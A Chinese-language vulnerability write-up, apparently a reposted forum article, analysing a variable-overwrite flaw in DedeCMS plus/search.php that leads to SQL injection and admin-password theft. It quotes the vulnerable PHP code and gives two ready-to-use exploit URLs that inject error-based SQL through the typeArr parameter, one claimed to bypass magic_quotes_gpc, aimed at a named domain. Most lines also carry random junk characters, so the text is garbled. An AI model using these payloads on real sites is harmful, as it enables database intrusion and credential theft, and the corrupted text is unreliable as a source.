微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
+ P/ D6 A) V, {" N- Q2 i% b作者: c4rp3nt3r@0x50sec.org3 Q1 [+ N. L2 H9 F
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
. j" @9 Q3 d8 x: I+ F# P! c0 ~: o o O4 j3 X& @9 S
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧./ d: C# _! r& h, k
, D& l& M! O0 d7 F0 r; k============
+ X4 V$ j+ l9 W( D( Y 8 ]6 j# F. V% x0 J
; X4 y- L" L8 W9 P% c$ p
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
/ V. k5 _7 M/ B \- y2 s6 f3 m6 d2 t
) Y6 N+ @/ e7 x6 h$ k( U ^ drequire_once(dirname(__FILE__).”/../include/common.inc.php”);- \' h0 k" u; I5 |! n4 Z; Q
require_once(DEDEINC.”/arc.searchview.class.php”);+ A- P+ G2 F( I& G: j7 x3 c# m
7 A6 x% r* G& Q- k$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
^; z- g3 c, u' l$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;) P' i8 y' m6 `; I. p2 p
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;6 f/ C; z, T# P# R; e
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;' ]+ i9 R+ u7 W+ V2 G( l+ _( m
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;# | Z0 a8 [) P& K+ [
/ \$ [9 y- p$ D2 m" w# ?2 P }if(!isset($orderby)) $orderby=”;3 h$ e3 V( `8 I
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);* S% {; A/ m& @4 D# W
2 I! Q7 ] l& N0 r
9 x. H4 b! g6 i6 R9 b2 G9 bif(!isset($searchtype)) $searchtype = ‘titlekeyword’;; [' i6 ~* M1 j4 W& P0 l8 G1 Z
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);- K( C. x3 A B7 s0 D' m9 o# p: [
( \: N5 h5 ~4 p8 g" _if(!isset($keyword)){
/ w1 j% u: X, H! j; N" Z, i9 C if(!isset($q)) $q = ”;
2 x1 H2 t. B% |2 ?5 c3 I $keyword=$q;
' G. [4 P/ Y2 f" ^. z- W}
+ N3 O: \9 L# H) \& [' D! [
; Q: h. B) a- h: E" r$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));! R9 P; ?# I. ?/ j2 k5 \ T4 S
7 y# R* k" k: D' q8 T) ]2 R//查找栏目信息
6 M! U+ c+ j5 _) b5 O) d$ h3 H* F% Rif(empty($typeid))" J6 b) V( v1 w% I" w
{
3 x9 [0 y$ P1 ]3 j $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;! c) T3 A$ o; _5 s
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
0 F! ~9 j5 h, `2 D# m1 F" Q2 @4 K {
7 H. f0 A T' ~+ a# r6 ~) a! ^3 W $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’); W* S5 U) {& g9 {/ Q
fwrite($fp, “<”.”?php\r\n”);
* A, o( g* w Q; y* _ $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
/ n2 x8 U8 i' |0 d $dsql->Execute();
. L) c" S" `+ L t$ Y while($row = $dsql->GetArray())
% V O8 |1 l0 ]6 E) @1 Q% X' Y {
; M' v6 q3 ^' m# |( H$ {: E fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);) {3 V1 y4 w+ }
}
( l+ A7 x- Q( d1 e fwrite($fp, ‘?’.'>’);
+ P, V6 ?: ^+ q9 U; l fclose($fp);- U) R# P% n/ |+ V7 O' _
}
0 Q0 l0 t9 ?$ K$ \! K //引入栏目缓存并看关键字是否有相关栏目内容
7 O1 S! j; U3 w2 \# ~ require_once($typenameCacheFile);
( M0 t3 T2 x4 I0 |% C//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
: A- K" Z3 T0 M+ g//4 m# Z9 p+ `- I; P: Y3 x; \4 H
if(isset($typeArr) && is_array($typeArr))9 I# n' p* G8 c$ m4 _
{
' m( D# w" u7 D. ?" h1 |! V foreach($typeArr as $id=>$typename), J# N- {, }9 V. ]( J. o
{- q; V7 u+ {7 D: {- a
' I0 O' P& e+ y <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过% ?# y( p' C0 `7 b s' ]- T2 e
if($keyword != $keywordn)* p* U6 {& @. R
{ X* X5 ?. }' |% E" `, s
$keyword = $keywordn;
' I% z, p v) v- i* u <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设, i; v, E+ F t
break;+ D' y* u* Z- \
}
/ U9 G) @9 j$ g1 |- X7 \ }" H. n' i! T8 `, C2 j
}
; _# T5 N9 O4 T5 d5 s. l+ _}
0 v( ^& [2 K" a然后plus/search.php文件下面定义了一个 Search类的对象 .
9 v, ]- }/ u2 @+ b3 [4 g在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.% |& J" F2 o: m- v
$this->TypeLink = new TypeLink($typeid);
4 @2 p- Y+ {- ~1 q! J 2 k) Q0 ?1 h: T
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.1 R# _* t& i0 B4 Q% }6 g2 U; w5 C
& ?4 K0 D8 g' n h# F9 n
class TypeLink
- E; O( X& K5 ?6 d{
, }3 s9 a6 v5 y8 q8 v var $typeDir;
. o1 x2 f5 r: P) t- R5 l8 u var $dsql;3 E; k8 D, R; l5 n: D0 \, d, f
var $TypeID;
. S( R; r8 [ S' I/ ~ var $baseDir;
3 w7 w) x0 U1 ~! I var $modDir;8 K7 I* L6 w% R
var $indexUrl;& C+ F1 O7 K' F. ~/ z* m
var $indexName; S: `+ S" M5 E8 R! Y
var $TypeInfos;
9 `: t! |0 c' o* `* Z0 Y var $SplitSymbol;
: f7 y8 Q% q5 `3 K3 |2 `2 }7 E% ^ var $valuePosition;! l; }; x1 k+ t! K; p- c
var $valuePositionName;
6 \6 }. D6 [1 [! o$ v- t var $OptionArrayList;//构造函数///////" Y0 A7 u+ X+ F8 A% Z: \, ?4 n7 t
//php5构造函数6 i5 w/ [6 c/ U2 m8 S
function __construct($typeid)5 j7 k {- w$ k0 ]
{
* J1 D- H8 t! C( i3 G/ |: j$ S $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
" ?. K. g# L1 w% x $this->indexName = $GLOBALS['cfg_indexname'];
) z5 J( R3 _+ B" _4 G8 q4 ^' { $this->baseDir = $GLOBALS['cfg_basedir'];
2 @8 T( h9 A9 W. I( ^6 ~( } $this->modDir = $GLOBALS['cfg_templets_dir'];& X/ _3 s& o" O% X
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
) j5 }9 e- ~% z/ Q; @ $this->dsql = $GLOBALS['dsql'];
" Z3 Z5 m: G- x& l) ]$ E: l $this->TypeID = $typeid;; u: L/ u) |& n% V! Y- W
$this->valuePosition = ”;: P4 W7 V' S" c: n, Y' F0 u! c; ]
$this->valuePositionName = ”;
* G5 K* D: O! z6 J8 ]* G$ y+ i' P $this->typeDir = ”;* o/ ]1 `8 C7 Y4 B. |! p
$this->OptionArrayList = ”;
$ Z2 I( \3 O% H) `, p/ ~
1 y" x, ]/ F( I- m6 z+ o //载入类目信息
6 O# k) U+ A. v + u# S' j; R6 ?$ M
<font color=”Red”>$query = “SELECT tp.*,ch.typename as4 C% E0 b+ n- y* l9 l% e8 Z
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
0 c% ~6 h* G' |9 V- B4 ~ G`#@__channeltype` ch2 Z: J% _! Y, h/ o
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿$ j- l1 G/ O, K% l% m2 G
4 W- o% j. C+ k, F$ c, D
if($typeid > 0)! l2 e4 k/ \8 B
{' _4 Z. f" U4 k7 M/ N3 Y( s8 \; P; I
$this->TypeInfos = $this->dsql->GetOne($query);
% O- V* h1 Q" g( G3 c) }) p3 \# p利用代码一 需要 即使magic_quotes_gpc = Off
6 ^3 B( G2 A4 I8 \. {* D
) ]$ \& j Q; g3 E4 a+ y1 ]www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title& k6 ]2 j9 d* w6 R! d
' _% e( s- Q5 c7 m1 t) T- t' T这只是其中一个利用代码… Search 类的构造函数再往下
8 G2 \8 r2 x c7 v, u$ x8 B0 k/ C8 | * x2 Z, u3 X- Z) U/ n
……省略
1 |6 H5 N2 r& Z. S0 D1 Y; M! F& h' A$this->TypeID = $typeid;
: ~% b4 x- R% V2 ?+ Z4 s……省略
) \$ W8 F2 j6 _! R0 @4 [7 Vif($this->TypeID==”0″){
& t1 K$ K. N( m3 Q) ~# V $this->ChannelTypeid=1;. H. {8 ^% x, P4 f* i
}else{
6 T4 a" j- y) U) d( o $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲0 E! u9 F5 M! }) y& K9 @
//现在不鸡肋了吧亲…1 ~: M8 _% z( T! d. w
$this->ChannelTypeid=$row['channeltype'];
* L) ^7 L' q5 Z 9 ` ~" X V9 e4 M) K
}
# Q) ]7 _: ~7 W( N3 S1 U* I+ p2 F利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.. J3 I8 n- f1 H0 G
( T: |4 G! t3 N/ g5 G8 q0 h
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title. [1 f2 h1 v$ g8 I, a' U
7 [2 d* W" c3 u, }* A% }
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站; m$ {, `* P( x" p6 n8 m8 [
|